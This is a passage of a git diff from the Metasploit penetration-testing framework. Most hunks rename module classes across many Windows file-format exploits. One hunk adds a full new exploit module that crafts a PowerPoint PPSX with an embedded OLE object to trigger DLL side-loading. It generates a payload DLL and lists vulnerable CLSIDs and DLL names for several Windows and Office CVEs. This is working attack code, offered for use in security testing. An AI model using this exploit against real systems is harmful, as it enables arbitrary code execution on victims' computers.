b/modules/exploits/windows/fileformat/ms15_100_mcl_exe.rb @@ -5,7 +5,7 @@ require 'msf/core' -class Metasploit3 < Msf::Exploit::Remote +class MetasploitModule < Msf::Exploit::Remote Rank = ExcellentRanking include Msf::Exploit::FILEFORMAT @@ -36,7 +36,7 @@ class Metasploit3 < Msf::Exploit::Remote }, 'DefaultOptions' => { - 'DisablePayloadHandler' => 'false' + 'DisablePayloadHandler' => false }, 'Platform' => 'win', 'Targets' => diff --git a/modules/exploits/windows/fileformat/ms_visual_basic_vbp.rb b/modules/exploits/windows/fileformat/ms_visual_basic_vbp.rb index f0b5395668..d6f086132f 100644 --- a/modules/exploits/windows/fileformat/ms_visual_basic_vbp.rb +++ b/modules/exploits/windows/fileformat/ms_visual_basic_vbp.rb @@ -5,7 +5,7 @@ require 'msf/core' -class Metasploit3 < Msf::Exploit::Remote +class MetasploitModule < Msf::Exploit::Remote Rank = GoodRanking include Msf::Exploit::FILEFORMAT diff --git a/modules/exploits/windows/fileformat/mswin_tiff_overflow.rb b/modules/exploits/windows/fileformat/mswin_tiff_overflow.rb index 3715060fab..772cf9a59f 100644 --- a/modules/exploits/windows/fileformat/mswin_tiff_overflow.rb +++ b/modules/exploits/windows/fileformat/mswin_tiff_overflow.rb @@ -25,7 +25,7 @@ end end -class Metasploit3 < Msf::Exploit::Remote +class MetasploitModule < Msf::Exploit::Remote Rank = AverageRanking include Msf::Exploit::FILEFORMAT diff --git a/modules/exploits/windows/fileformat/msworks_wkspictureinterface.rb b/modules/exploits/windows/fileformat/msworks_wkspictureinterface.rb index 91ec7bd6be..33887dd6e5 100644 --- a/modules/exploits/windows/fileformat/msworks_wkspictureinterface.rb +++ b/modules/exploits/windows/fileformat/msworks_wkspictureinterface.rb @@ -5,7 +5,7 @@ require 'msf/core' -class Metasploit3 < Msf::Exploit::Remote +class MetasploitModule < Msf::Exploit::Remote Rank = LowRanking include Msf::Exploit::FILEFORMAT diff --git a/modules/exploits/windows/fileformat/mymp3player_m3u.rb b/modules/exploits/windows/fileformat/mymp3player_m3u.rb index 2de0c93213..e73e8a6b3a 100644 --- a/modules/exploits/windows/fileformat/mymp3player_m3u.rb +++ b/modules/exploits/windows/fileformat/mymp3player_m3u.rb @@ -5,7 +5,7 @@ require 'msf/core' -class Metasploit3 < Msf::Exploit::Remote +class MetasploitModule < Msf::Exploit::Remote Rank = GoodRanking include Msf::Exploit::FILEFORMAT diff --git a/modules/exploits/windows/fileformat/netop.rb b/modules/exploits/windows/fileformat/netop.rb index a16320bc27..f89cbd3663 100644 --- a/modules/exploits/windows/fileformat/netop.rb +++ b/modules/exploits/windows/fileformat/netop.rb @@ -5,7 +5,7 @@ require 'msf/core' -class Metasploit3 < Msf::Exploit::Remote +class MetasploitModule < Msf::Exploit::Remote Rank = NormalRanking include Msf::Exploit::FILEFORMAT diff --git a/modules/exploits/windows/fileformat/nuance_pdf_launch_overflow.rb b/modules/exploits/windows/fileformat/nuance_pdf_launch_overflow.rb index 076e614bb2..fa46dcbcae 100644 --- a/modules/exploits/windows/fileformat/nuance_pdf_launch_overflow.rb +++ b/modules/exploits/windows/fileformat/nuance_pdf_launch_overflow.rb @@ -5,7 +5,7 @@ require 'msf/core' -class Metasploit3 < Msf::Exploit::Remote +class MetasploitModule < Msf::Exploit::Remote Rank = GreatRanking include Msf::Exploit::FILEFORMAT diff --git a/modules/exploits/windows/fileformat/office_ole_multiple_dll_hijack.rb b/modules/exploits/windows/fileformat/office_ole_multiple_dll_hijack.rb new file mode 100644 index 0000000000..97635aed53 --- /dev/null +++ b/modules/exploits/windows/fileformat/office_ole_multiple_dll_hijack.rb @@ -0,0 +1,280 @@ +require 'zip' +require 'base64' +require 'msf/core' +require 'rex/ole' + +class MetasploitModule < Msf::Exploit::Remote + Rank = NormalRanking + + include Msf::Exploit::FILEFORMAT + include Msf::Exploit::EXE + + def initialize(info = {}) + super(update_info(info, + 'Name' => 'Office OLE Multiple DLL Side Loading Vulnerabilities', + 'Description' => %q{ + Multiple DLL side loading vulnerabilities were found in various COM components. + These issues can be exploited by loading various these components as an embedded + OLE object. When instantiating a vulnerable object Windows will try to load one + or more DLLs from the current working directory. If an attacker convinces the + victim to open a specially crafted (Office) document from a directory also + containing the attacker's DLL file, it is possible to execute arbitrary code with + the privileges of the target user. This can potentially result in the attacker + taking complete control of the affected system. + }, + 'Author' => 'Yorick Koster', + 'License' => MSF_LICENSE, + 'References' => + [ + ['CVE', '2015-6132'], + ['CVE', '2015-6128'], + ['CVE', '2015-6133'], + ['CVE', '2016-0041'], + ['CVE', '2016-0100'], + ['CVE', '2016-3235'], + ['MSB', 'MS15-132'], + ['MSB', 'MS16-014'], + ['MSB', 'MS16-025'], + ['MSB', 'MS16-041'], + ['MSB', 'MS16-070'], + ['URL', 'https://securify.nl/advisory/SFY20150801/com__services_dll_side_loading_vulnerability.html'], + ['URL', 'https://securify.nl/advisory/SFY20150805/event_viewer_snapin_multiple_dll_side_loading_vulnerabilities.html'], + ['URL', 'https://securify.nl/advisory/SFY20150803/windows_authentication_ui_dll_side_loading_vulnerability.html'], + ['URL', 'https://securify.nl/advisory/SFY20151102/shutdown_ux_dll_side_loading_vulnerability.html'], + ['URL', 'https://securify.nl/advisory/SFY20150802/shockwave_flash_object_dll_side_loading_vulnerability.html'], + ['URL', 'https://securify.nl/advisory/SFY20150806/ole_db_provider_for_oracle_multiple_dll_side_loading_vulnerabilities.html'], + ['URL', 'https://securify.nl/advisory/SFY20150905/nps_datastore_server_dll_side_loading_vulnerability.html'], + ['URL', 'https://securify.nl/advisory/SFY20150906/bda_mpeg2_transport_information_filter_dll_side_loading_vulnerability.html'], + ['URL', 'https://securify.nl/advisory/SFY20151101/mapsupdatetask_task_dll_side_loading_vulnerability.html'], + ['URL', 'https://securify.nl/advisory/SFY20150904/windows_mail_find_people_dll_side_loading_vulnerability.html'], + ['URL', 'https://securify.nl/advisory/SFY20150804/microsoft_visio_multiple_dll_side_loading_vulnerabilities.html'], + ], + 'DefaultOptions' => + { + 'EXITFUNC' => 'thread', + 'PAYLOAD' => 'windows/exec', + 'CMD' => 'C:\\Windows\\System32\\calc.exe', + }, + 'Payload' => { 'Space' => 2048, }, + 'Platform' => 'win', + 'Arch' => [ ARCH_X86, ARCH_X86_64 ], + 'Targets' => + [ + [ 'All', {} ], + [ + 'COM+ Services / Windows Vista - 10 / Office 2007 - 2016 (MS15-132)', + { + 'DLL' => 'mqrt.dll', + # {ecabafc9-7f19-11d2-978e-0000f8757e2a} + 'CLSID' => "\xC9\xAF\xAB\xEC\x19\x7F\xD2\x11\x97\x8E\x00\x00\xF8\x75\x7E\x2A" + } + ], + [ + 'Shockwave Flash Object / Windows 10 / Office 2013 (APSB15-28)', + { + 'DLL' => 'spframe.dll', + # {D27CDB6E-AE6D-11cf-96B8-444553540000} + 'CLSID' => "\x6E\xDB\x7C\xD2\x6D\xAE\xCF\x11\x96\xB8\x44\x45\x53\x54\x00\x00" + } + ], + [ + 'Windows Authentication UI / Windows 10 / Office 2013 - 2016 (MS15-132)', + { + 'DLL' => 'wuaext.dll', + # {D93CE8B5-3BF8-462C-A03F-DED2730078BA} + 'CLSID' => "\xB5\xE8\x3C\xD9\xF8\x3B\x2C\x46\xA0\x3F\xDE\xD2\x73\x00\x78\xBA" + } + ], + [ + 'Shutdown UX / Windows 10 / Office 2016 (MS15-132)', + { + 'DLL' => 'wuaext.dll', + # {14ce31dc-abc2-484c-b061-cf3416aed8ff} + 'CLSID' => "\xDC\x31\xCE\x14\xC2\xAB\x4C\x48\xB0\x61\xCF\x34\x16\xAE\xD8\xFF" + } + ], + [ + 'MapUpdateTask Tasks / Windows 10 / Office 2016 (MS16-014)', + { + 'DLL' => 'phoneinfo.dll', + # {B9033E87-33CF-4D77-BC9B-895AFBBA72E4} + 'CLSID' => "\x87\x3E\x03\xB9\xCF\x33\x77\x4D\xBC\x9B\x89\x5A\xFB\xBA\x72\xE4" + } + ], + [ + 'Microsoft Visio 2010 / Windows 7 (MS16-070)', + { + 'DLL' => 'msoutls.dll', + # 6C92B806-B900-4392-89F7-2ED4B4C23211} + 'CLSID' => "\x06\xB8\x92\x6C\x00\xB9\x92\x43\x89\xF7\x2E\xD4\xB4\xC2\x32\x11" + } + ], + [ + 'Event Viewer Snapin / Windows Vista - 7 / Office 2007 - 2013 (MS15-132)', + { + 'DLL' => 'elsext.dll', + # {394C052E-B830-11D0-9A86-00C04FD8DBF7} + 'CLSID' => "\x2E\x05\x4C\x39\x30\xB8\xD0\x11\x9A\x86\x00\xC0\x4F\xD8\xDB\xF7" + } + ], + [ + 'OLE DB Provider for Oracle / Windows Vista - 7 / Office 2007 - 2013 (MS16-014)', + { + 'DLL' => 'oci.dll', + # {e8cc4cbf-fdff-11d0-b865-00a0c9081c1d} + 'CLSID' => "\xBF\x4C\xCC\xE8\xFF\xFD\xD0\x11\xB8\x65\x00\xA0\xC9\x08\x1C\x1D" + } + ], + [ + 'Windows Mail Find People / Windows Vista / Office 2010 (MS16-025)', + { + 'DLL' => 'wab32res.dll', + # {32714800-2E5F-11d0-8B85-00AA0044F941} + 'CLSID' => "\x00\x48\x71\x32\x5F\x2E\xD0\x11\x8B\x85\x00\xAA\x00\x44\xF9\x41" + } + ], + [ + 'NPS Datastore server / Windows Vista / Office 2010 (MS16-014)', + { + 'DLL' => 'iasdatastore2.dll', + # {48da6741-1bf0-4a44-8325-293086c79077} + 'CLSID' => "\x41\x67\xDA\x48\xF0\x1B\x44\x4A\x83\x25\x29\x30\x86\xC7\x90\x77" + } + ], + [ + 'BDA MPEG2 Transport Information Filter / Windows Vista / Office 2010 (MS16-014)', + { + 'DLL' => 'ehTrace.dll', + # {FC772AB0-0C7F-11D3-8FF2-00A0C9224CF4} + 'CLSID' => "\xB0\x2A\x77\xFC\x7F\x0C\xD3\x11\x8F\xF2\x00\xA0\xC9\x22\x4C\xF4" + } + ], + ], + 'Privileged' => false, + 'DisclosureDate' => 'Dec 8 2015', + 'DefaultTarget' => 0)) + + register_options( + [ + OptString.new('FILENAME', [true, 'The PPSX file', 'msf.ppsx']), + ], self.class) + end + + def exploit + if target.name == 'All' + targets = @targets + else + targets = [ target ] + end + + @arch.each do |a| + exploit_regenerate_payload('win', a, nil) + targets.each do |t| + if t.name == 'All' + next + end + print_status("Using target #{t.name}") + + dll_name = t['DLL'] + if target.name == 'All' + ppsx_name = t.name.split(/\//).first + ".ppsx" + else + ppsx_name = datastore['FILENAME'] + end + + print_status("Creating the payload DLL (#{a})...") + + opts = {} + opts[:arch] = [ a ] + dll = generate_payload_dll(opts) + dll_path = store_file(dll, a, dll_name) + print_good("#{dll_name} stored at #{dll_path}, copy it to a remote share") + + print_status("Creating the PPSX file...") + ppsx = get_ppsx(t['CLSID']) + ppsx_path = store_file(ppsx, a, ppsx_name) + print_good("#{ppsx_name} stored at #{ppsx_path}, copy it to a remote share") + end + end + end + + def store_file(data, subdir, filename) + ltype = "exploit.fileformat.#{self.shortname}" + + if ! ::File.directory?(Msf::Config.local_directory) + FileUtils.mkdir_p(Msf::Config.local_directory) + end + + subdir.gsub!(/[^a-z0-9\.\_\-]+/i, '') + if ! ::File.directory?(Msf::Config.local_directory + "/" + subdir) + FileUtils.mkdir_p(Msf::Config.local_directory + "/" + subdir) + end + + if filename and not filename.empty? + if filename =~ /(.*)\.(.*)/ + ext = $2 + fname = $1 + else + fname = filename + end + else + fname = "local_#{Time.now.utc.to_i}" + end + + fname = ::File.split(fname).last + + fname.gsub!(/[^a-z0-9\.\_\-]+/i, '') + fname << ".#{ext}" + + path = File.join(Msf::Config.local_directory + "/" + subdir, fname) + full_path = ::File.expand_path(path) + File.open(full_path, "wb") { |fd| fd.write(data) } + + report_note(:data => full_path.dup, :type => "#{ltype}.localpath") + + full_path.dup + end + + def create_ole(clsid) + ole_tmp = Rex::Quickfile.new('ole') + stg = Rex::OLE::Storage.new(ole_tmp.path, Rex::OLE::STGM_WRITE) + + stm = stg.create_stream("\x01OLE10Native") + stm.close + + directory = stg.instance_variable_get(:@directory) + directory.each_entry do |entry| + if entry.instance_variable_get(:@_ab) == 'Root Entry' + clsid = Rex::OLE::CLSID.new(clsid) + entry.instance_variable_set(:@_clsId, clsid) + end + end + + # write to disk + stg.close + + ole_contents = File.read(ole_tmp.path) + ole_tmp.close + ole_tmp.unlink + + ole_contents + end + + def get_ppsx(clsid) + path = ::File.join(Msf::Config.data_directory, 'exploits', 'office_ole_multiple_dll_hijack.ppsx') + fd = ::File.open(path, "rb") + data = fd.read(fd.stat.size) + fd.close + ppsx = Rex::Zip::Archive.new + + Zip::InputStream.open(StringIO.new(data)) do |zis| + while entry = zis.get_next_entry + ppsx.add_file(entry.name, zis.read) + end + end + + ppsx.add_file('/ppt/embeddings/oleObject1.bin', create_ole(clsid)) + ppsx.pack + end + +end diff --git a/modules/exploits/windows/fileformat/openoffice_ole.rb b/modules/exploits/windows/fileformat/openoffice_ole.rb index ad26ef2fbd..85aaa1f5b8 100644 --- a/modules/exploits/windows/fileformat/openoffice_ole.rb +++ b/modules/exploits/windows/fileformat/openoffice_ole.rb @@ -5,7 +5,7 @@ require 'msf/core' -class Metasploit3 < Msf::Exploit::Remote +class MetasploitModule < Msf::Exploit::Remote Rank = NormalRanking include Msf::Exploit::FILEFORMAT diff --git a/modules/exploits/windows/fileformat/orbit_download_failed_bof.rb b/modules/exploits/windows/fileformat/orbit_download_failed_bof.rb index 75ed8cc4d3..17350e5db9 100644 --- a/modules/exploits/windows/fileformat/orbit_download_failed_bof.rb +++ b/modules/exploits/windows/fileformat/orbit_download_failed_bof.rb @@ -5,7 +5,7 @@ require 'msf/core' -class Metasploit3 < Msf::Exploit::Remote +class MetasploitModule < Msf::Exploit::Remote Rank = NormalRanking include Msf::Exploit::FILEFORMAT diff --git a/modules/exploits/windows/fileformat/orbital_viewer_orb.rb b/modules/exploits/windows/fileformat/orbital_viewer_orb.rb index dd958d8620..ba23f01b14 100644 --- a/modules/exploits/windows/fileformat/orbital_viewer_orb.rb +++ b/modules/exploits/windows/fileformat/orbital_viewer_orb.rb @@ -5,7 +5,7 @@ require 'msf/core' -class Metasploit3 < Msf::Exploit::Remote +class MetasploitModule < Msf::Exploit::Remote Rank = GreatRanking include Msf::Exploit::FILEFORMAT diff --git a/modules/exploits/windows/fileformat/ovf_format_string.rb b/modules/exploits/windows/fileformat/ovf_format_string.rb index 202fb38aba..d17be93da7 100644 --- a/modules/exploits/windows/fileformat/ovf_format_string.rb +++ b/modules/exploits/windows/fileformat/ovf_format_string.rb @@ -5,7 +5,7 @@ require 'msf/core' -class Metasploit3 < Msf::Exploit::Remote +class MetasploitModule < Msf::Exploit::Remote Rank = NormalRanking include Msf::Exploit::FILEFORMAT diff --git a/modules/exploits/windows/fileformat/proshow_cellimage_bof.rb b/modules/exploits/windows/fileformat/proshow_cellimage_bof.rb index fdd269942b..0c1416eb54 100644 --- a/modules/exploits/windows/fileformat/proshow_cellimage_bof.rb +++ b/modules/exploits/windows/fileformat/proshow_cellimage_bof.rb @@ -5,7 +5,7 @@ require 'msf/core' -class Metasploit3 < Msf::Exploit::Remote +class MetasploitModule < Msf::Exploit::Remote Rank = GreatRanking include Msf::Exploit::FILEFORMAT diff --git a/modules/exploits/windows/fileformat/proshow_load_bof.rb b/modules/exploits/windows/fileformat/proshow_load_bof.rb index 7b5f803269..39a26a3059 100644 --- a/modules/exploits/windows/fileformat/proshow_load_bof.rb +++ b/modules/exploits/windows/fileformat/proshow_load_bof.rb @@ -5,7 +5,7 @@ require 'msf/core' -class Metasploit3 < Msf::Exploit::Remote +class MetasploitModule < Msf::Exploit::Remote Rank = NormalRanking include Msf::Exploit::FILEFORMAT diff --git a/modules/exploits/windows/fileformat/publishit_pui.rb b/modules/exploits/windows/fileformat/publishit_pui.rb index 6a260b10df..a77cd17b8e 100644 --- a/modules/exploits/windows/fileformat/publishit_pui.rb +++ b/modules/exploits/windows/fileformat/publishit_pui.rb @@ -5,7 +5,7 @@ require 'msf/core' -class Metasploit3 < Msf::Exploit::Remote +class MetasploitModule < Msf::Exploit::Remote Rank = NormalRanking include Msf::Exploit::FILEFORMAT diff --git a/modules/exploits/windows/fileformat/real_networks_netzip_bof.rb b/modules/exploits/windows/fileformat/real_networks_netzip_bof.rb index 0c922c9fd1..f39244cd4e 100644 --- a/modules/exploits/windows/fileformat/real_networks_netzip_bof.rb +++ b/modules/exploits/windows/fileformat/real_networks_netzip_bof.rb @@ -6,7 +6,7 @@ require 'msf/core' require 'rex/zip' -class Metasploit3 < Msf::Exploit::Remote +class MetasploitModule < Msf::Exploit::Remote Rank = GoodRanking include Msf::Exploit::FILEFORMAT diff --git a/modules/exploits/windows/fileformat/real_player_url_property_bof.rb b/modules/exploits/windows/fileformat/real_player_url_property_bof.rb index 861ac3d898..04f4942631 100644 --- a/modules/exploits/windows/fileformat/real_player_url_property_bof.rb +++ b/modules/exploits/windows/fileformat/real_player_url_property_bof.rb @@ -5,7 +5,7 @@ require 'msf/core' -class Metasploit3 < Msf::Exploit::Remote +class MetasploitModule < Msf::Exploit::Remote Rank = NormalRanking include Msf::Exploit::FILEFORMAT diff --git a/modules/exploits/windows/fileformat/realplayer_ver_attribute_bof.rb b/modules/exploits/windows/fileformat/realplayer_ver_attribute_bof.rb index c3012abef6..03a9a8ad81 100644 --- a/modules/exploits/windows/fileformat/realplayer_ver_attribute_bof.rb +++ b/modules/exploits/windows/fileformat/realplayer_ver_attribute_bof.rb @@ -5,7 +5,7 @@ require 'msf/core' -class Metasploit3 < Msf::Exploit::Remote +class MetasploitModule < Msf::Exploit::Remote Rank = NormalRanking include Msf::Exploit::FILEFORMAT diff --git a/modules/exploits/windows/fileformat/safenet_softremote_groupname.rb b/modules/exploits/windows/fileformat/safenet_softremote_groupname.rb index 51179b1675..65584db42e 100644 --- a/modules/exploits/windows/fileformat/safenet_softremote_groupname.rb +++ b/modules/exploits/windows/fileformat/safenet_softremote_groupname.rb @@ -5,7 +5,7 @@ require 'msf/core' -class Metasploit3 < Msf::Exploit::Remote +class MetasploitModule < Msf::Exploit::Remote Rank = GoodRanking include Msf::Exploit::FILEFORMAT diff --git a/modules/exploits/windows/fileformat/sascam_get.rb b/modules/exploits/windows/fileformat/sascam_get.rb index 7dcc8d9617..49acb4a06d 100644 --- a/modules/exploits/windows/fileformat/sascam_get.rb +++ b/modules/exploits/windows/fileformat/sascam_get.rb @@ -5,7 +5,7 @@ require 'msf/core' -class Metasploit3 < Msf::Exploit::Remote +class MetasploitModule < Msf::Exploit::Remote Rank = LowRanking include Msf::Exploit::FILEFORMAT diff --git a/modules/exploits/windows/fileformat/scadaphone_zip.rb b/modules/exploits/windows/fileformat/scadaphone_zip.rb index 23358f9ad6..037ec684f9 100644 --- a/modules/exploits/windows/fileformat/scadaphone_zip.rb +++ b/modules/exploits/windows/fileformat/scadaphone_zip.rb @@ -6,7 +6,7 @@ require 'msf/core' require 'rex/zip' -class Metasploit3 < Msf::Exploit::Remote +class MetasploitModule < Msf::Exploit::Remote Rank = GoodRanking include Msf::Exploit::FILEFORMAT diff --git a/modules/exploits/windows/fileformat/shadow_stream_recorder_bof.rb b/modules/exploits/windows/fileformat/shadow_stream_recorder_bof.rb index a4676e030b..cb0f20199f 100644 --- a/modules/exploits/windows/fileformat/shadow_stream_recorder_bof.rb +++ b/modules/exploits/windows/fileformat/shadow_stream_recorder_bof.rb @@ -5,7 +5,7 @@ require 'msf/core' -class Metasploit3 < Msf::Exploit::Remote +class MetasploitModule < Msf::Exploit::Remote Rank = NormalRanking include Msf::Exploit::FILEFORMAT diff --git a/modules/exploits/windows/fileformat/somplplayer_m3u.rb b/modules/exploits/windows/fileformat/somplplayer_m3u.rb index f4fb8022de..7f243b7e07 100644 --- a/modules/exploits/windows/fileformat/somplplayer_m3u.rb +++ b/modules/exploits/windows/fileformat/somplplayer_m3u.rb @@ -5,7 +5,7 @@ require 'msf/core' -class Metasploit3 < Msf::Exploit::Remote +class MetasploitModule < Msf::Exploit::Remote Rank = GreatRanking include Msf::Exploit::FILEFORMAT diff --git a/modules/exploits/windows/fileformat/subtitle_processor_m3u_bof.rb b/modules/exploits/windows/fileformat/subtitle_processor_m3u_bof.rb index 1d79f124e1..b005e87ed9 100644 --- a/modules/exploits/windows/fileformat/subtitle_processor_m3u_bof.rb +++ b/modules/exploits/windows/fileformat/subtitle_processor_m3u_bof.rb @@ -5,7 +5,7 @@ require 'msf/core' -class Metasploit3 < Msf::Exploit::Remote +class MetasploitModule < Msf::Exploit::Remote Rank = NormalRanking include Msf::Exploit::FILEFORMAT diff --git a/modules/exploits/windows/fileformat/tfm_mmplayer_m3u_ppl_bof.rb b/modules/exploits/windows/fileformat/tfm_mmplayer_m3u_ppl_bof.rb index 476b0ed1ae..189433c05f 100644 --- a/modules/exploits/windows/fileformat/tfm_mmplayer_m3u_ppl_bof.rb +++ b/modules/exploits/windows/fileformat/tfm_mmplayer_m3u_ppl_bof.rb @@ -5,7 +5,7 @@ require 'msf/core' -class Metasploit3 < Msf::Exploit::Remote +class MetasploitModule < Msf::Exploit::Remote Rank = GoodRanking include Msf::Exploit::FILEFORMAT diff --git a/modules/exploits/windows/fileformat/total_video_player_ini_bof.rb b/modules/exploits/windows/fileformat/total_video_player_ini_bof.rb index 736e5311c5..1e6c0503bf 100644 --- a/modules/exploits/windows/fileformat/total_video_player_ini_bof.rb +++ b/modules/exploits/windows/fileformat/total_video_player_ini_bof.rb @@ -5,7 +5,7 @@ require 'msf/core' -class Metasploit3 < Msf::Exploit::Remote +class MetasploitModule < Msf::Exploit::Remote Rank = NormalRanking include Msf::Exploit::FILEFORMAT diff --git a/modules/exploits/windows/fileformat/tugzip.rb b/modules/exploits/windows/fileformat/tugzip.rb index 5f822b0dae..4d12cb0ead 100644 --- a/modules/exploits/windows/fileformat/tugzip.rb +++ b/modules/exploits/windows/fileformat/tugzip.rb @@ -6,7 +6,7 @@ require 'msf/core' require 'rex/zip' -class Metasploit3 < Msf::Exploit::Remote +class MetasploitModule < Msf::Exploit::Remote Rank = GoodRanking include Msf::Exploit::FILEFORMAT diff --git a/modules/exploits/windows/fileformat/ultraiso_ccd.rb b/modules/exploits/windows/fileformat/ultraiso_ccd.rb index 2ddbf829a4..2861864028 100644 --- a/modules/exploits/windows/fileformat/ultraiso_ccd.rb +++ b/modules/exploits/windows/fileformat/ultraiso_ccd.rb @@ -5,7 +5,7 @@ require 'msf/core' -class Metasploit3 < Msf::Exploit::Remote +class MetasploitModule < Msf::Exploit::Remote Rank = GreatRanking include Msf::Exploit::FILEFORMAT diff --git a/modules/exploits/windows/fileformat/ultraiso_cue.rb b/modules/exploits/windows/fileformat/ultraiso_cue.rb index 5c706c6424..2124a0580c 100644 --- a/modules/exploits/windows/fileformat/ultraiso_cue.rb +++ b/modules/exploits/windows/fileformat/ultraiso_cue.rb @@ -5,7 +5,7 @@ require 'msf/core' -class Metasploit3 < Msf::Exploit::Remote +class MetasploitModule < Msf::Exploit::Remote Rank = GreatRanking include Msf::Exploit::FILEFORMAT diff --git a/modules/exploits/windows/fileformat/ursoft_w32dasm.rb b/modules/exploits/windows/fileformat/ursoft_w32dasm.rb index 8c4f170b83..9517eaab91 100644 --- a/modules/exploits/windows/fileformat/ursoft_w32dasm.rb +++ b/modules/exploits/windows/fileformat/ursoft_w32dasm.rb @@ -5,7 +5,7 @@ require 'msf/core' -class Metasploit3 < Msf::Exploit::Remote +class MetasploitModule < Msf::Exploit::Remote Rank = GoodRanking include Msf::Exploit::FILEFORMAT diff --git a/modules/exploits/windows/fileformat/varicad_dwb.rb b/modules/exploits/windows/fileformat/varicad_dwb.rb index c6bd57e032..538b44d520 100644 --- a/modules/exploits/windows/fileformat/varicad_dwb.rb +++ b/modules/exploits/windows/fileformat/varicad_dwb.rb @@ -5,7 +5,7 @@ require 'msf/core' -class Metasploit3 < Msf::Exploit::Remote +class MetasploitModule < Msf::Exploit::Remote Rank = GreatRanking include Msf::Exploit::FILEFORMAT diff --git a/modules/exploits/windows/fileformat/videocharge_studio.rb b/modules/exploits/windows/fileformat/videocharge_studio.rb index 68cbfde4ef..3ad0c240f7 100644 --- a/modules/exploits/windows/fileformat/videocharge_studio.rb +++ b/modules/exploits/windows/fileformat/videocharge_studio.rb @@ -5,7 +5,7 @@ require 'msf/core' -class Metasploit3 < Msf::Exploit::Remote +class MetasploitModule < Msf::Exploit::Remote Rank = NormalRanking include Msf::Exploit::FILEFORMAT diff --git a/modules/exploits/windows/fileformat/videolan_tivo.rb b/modules/exploits/windows/fileformat/videolan_tivo.rb index 42b4cb395e..a7670ff4e0 100644 --- a/modules/exploits/windows/fileformat/videolan_tivo.rb +++ b/modules/exploits/windows/fileformat/videolan_tivo.rb @@ -5,7 +5,7 @@ require 'msf/core' -class Metasploit3 < Msf::Exploit::Remote +class MetasploitModule < Msf::Exploit::Remote Rank = GoodRanking include Msf::Exploit::FILEFORMAT diff --git a/modules/exploits/windows/fileformat/videospirit_visprj.rb b/modules/exploits/windows/fileformat/videospirit_visprj.rb index 337be73d0c..6c8280bc0a 100644 --- a/modules/exploits/windows/fileformat/videospirit_visprj.rb +++ b/modules/exploits/windows/fileformat/videospirit_visprj.rb @@ -5,7 +5,7 @@ require 'msf/core' -class Metasploit3 < Msf::Exploit::Remote +class MetasploitModule < Msf::Exploit::Remote Rank = GoodRanking include Msf::Exploit::FILEFORMAT diff --git a/modules/exploits/windows/fileformat/visio_dxf_bof.rb b/modules/exploits/windows/fileformat/visio_dxf_bof.rb index 0a35ce8bce..ad4e9a8306 100644 --- a/modules/exploits/windows/fileformat/visio_dxf_bof.rb +++ b/modules/exploits/windows/fileformat/visio_dxf_bof.rb @@ -4,7 +4,7 @@ require 'msf/core' -class Metasploit3 < Msf::Exploit::Remote +class MetasploitModule < Msf::Exploit::Remote Rank = GoodRanking include Msf::Exploit::FILEFORMAT diff --git a/modules/exploits/windows/fileformat/visiwave_vwr_type.rb b/modules/exploits/windows/fileformat/visiwave_vwr_type.rb index b9474d67e7..92af418f47 100644 --- a/modules/exploits/windows/fileformat/visiwave_vwr_type.rb +++ b/modules/exploits/windows/fileformat/visiwave_vwr_type.rb @@ -5,7 +5,7 @@ require 'msf/core' -class Metasploit3 < Msf::Exploit::Remote +class MetasploitModule < Msf::Exploit::Remote Rank = GreatRanking include Msf::Exploit::FILEFORMAT diff --git a/modules/exploits/windows/fileformat/vlc_modplug_s3m.rb b/modules/exploits/windows/fileformat/vlc_modplug_s3m.rb index 0e83aa1d3e..cc8c810bb0 100644 --- a/modules/exploits/windows/fileformat/vlc_modplug_s3m.rb +++ b/modules/exploits/windows/fileformat/vlc_modplug_s3m.rb @@ -5,7 +5,7 @@ require 'msf/core' -class Metasploit3 < Msf::Exploit::Remote +class MetasploitModule < Msf::Exploit::Remote Rank = AverageRanking include Msf::Exploit::FILEFORMAT diff --git a/modules/exploits/windows/fileformat/vlc_realtext.rb b/modules/exploits/windows/fileformat/vlc_realtext.rb index 4048200658..9efaf4aa67 100644 --- a/modules/exploits/windows/fileformat/vlc_realtext.rb +++ b/modules/exploits/windows/fileformat/vlc_realtext.rb @@ -5,7 +5,7 @@ require 'msf/core' -class Metasploit3 < Msf::Exploit::Remote +class MetasploitModule < Msf::Exploit::Remote Rank = GoodRanking include Msf::Exploit::FILEFORMAT diff --git a/modules/exploits/windows/fileformat/vlc_smb_uri.rb b/modules/exploits/windows/fileformat/vlc_smb_uri.rb index cab592fca2..a2e8842571 100644 --- a/modules/exploits/windows/fileformat/vlc_smb_uri.rb +++ b/modules/exploits/windows/fileformat/vlc_smb_uri.rb @@ -5,7 +5,7 @@ require 'msf/core' -class Metasploit3 < Msf::Exploit::Remote +class MetasploitModule < Msf::Exploit::Remote Rank = GreatRanking include Msf::Exploit::FILEFORMAT diff --git a/modules/exploits/windows/fileformat/vlc_webm.rb b/modules/exploits/windows/fileformat/vlc_webm.rb index dac5f66d9a..381d95bef2 100644 --- a/modules/exploits/windows/fileformat/vlc_webm.rb +++ b/modules/exploits/windows/fileformat/vlc_webm.rb @@ -5,7 +5,7 @@ require 'msf/core' -class Metasploit3 < Msf::Exploit::Remote +class MetasploitModule < Msf::Exploit::Remote Rank = GoodRanking include Msf::Exploit::FILEFORMAT diff --git a/modules/exploits/windows/fileformat/vuplayer_cue.rb b/modules/exploits/windows/fileformat/vuplayer_cue.rb index 6169941ed8..a4c85b7258 100644 --- a/modules/exploits/windows/fileformat/vuplayer_cue.rb +++ b/modules/exploits/windows/fileformat/vuplayer_cue.rb @@ -5,7 +5,7 @@ require 'msf/core' -class Metasploit3 < Msf::Exploit::Remote +class MetasploitModule < Msf::Exploit::Remote Rank = GoodRanking include Msf::Exploit::FILEFORMAT diff --git a/modules/exploits/windows/fileformat/vuplayer_m3u.rb b/modules/exploits/windows/fileformat/vuplayer_m3u.rb index 4589c909f9..d903b448c3 100644 --- a/modules/exploits/windows/fileformat/vuplayer_m3u.rb +++ b/modules/exploits/windows/fileformat/vuplayer_m3u.rb @@ -5,7 +5,7 @@ require 'msf/core' -class Metasploit3 < Msf::Exploit::Remote +class MetasploitModule < Msf::Exploit::Remote Rank = GoodRanking include Msf::Exploit::FILEFORMAT diff --git a/modules/exploits/windows/fileformat/watermark_master.rb b/modules/exploits/windows/fileformat/watermark_master.rb index af6a94c36b..85a01388d8 100644 --- a/modules/exploits/windows/fileformat/watermark_master.rb +++ b/modules/exploits/windows/fileformat/watermark_master.rb @@ -5,7 +5,7 @@ require 'msf/core' -class Metasploit3 < Msf::Exploit::Remote +class MetasploitModule < Msf::Exploit::Remote Rank = NormalRanking include Msf::Exploit::FILEFORMAT diff --git 